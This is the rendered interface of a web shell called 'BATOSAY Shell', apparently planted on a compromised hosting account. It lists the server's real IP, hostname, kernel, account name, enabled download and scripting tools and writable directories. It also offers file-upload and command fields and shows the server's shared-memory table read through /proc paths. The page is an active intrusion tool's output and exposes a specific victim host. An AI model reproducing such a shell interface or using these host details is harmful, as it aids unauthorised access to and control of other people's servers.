BATOSAY Shell
Server IP : 170.10.162.208  /  Your IP : 216.73.216.38
Web Server : LiteSpeed
System : Linux altar19.supremepanel19.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User : deltahospital ( 1806)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/sysvipc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
      5555          1   644                  1024  4958 3832151      0     0     0     0     0 1765502224 1765502224 1759422801                  4096                     0
         0  132710405  1600                524288 317230 342553      1  1420  1425  1420  1425 1766270482 1766270483 1766270217                  8192                     0
         0  132710408  1600                524288 325447 341529      1  1429  1434  1429  1434 1766270471 1766270473 1766270305                  8192                     0
         0  132710411  1600                524288 332923 338094      1  1816  1821  1816  1821 1766270440 1766270442 1766270389                  8192                     0
         0  132710412  1600                524288 339596 339602      1  1178  1183  1178  1183 1766270455 1766270457 1766270455                  8192                     0
         0  132710413  1600                524288 341083 341092      1  1410  1415  1410  1415 1766270467 1766270468 1766270467                  8192                     0
         0  132710414  1600                524288 341205 341491      1  1350  1355  1350  1355 1766270471 1766270473 1766270468                  8192                     0
         0  132710415  1600                524288 342444 342449      1  1405  1410  1405  1410 1766270481 1766270483 1766270481                  8192                     0
         0  132218901  1400                100796 3742983 132910      2    27    27     0     0 1766248099          0 1766248099                102400                     0
   5432001  114655267   600                    56 131048 343001      6    26    26    26    26 1766270487 1766270487 1765330309                  4096                     0

Batosay - 2023
IDNSEO Team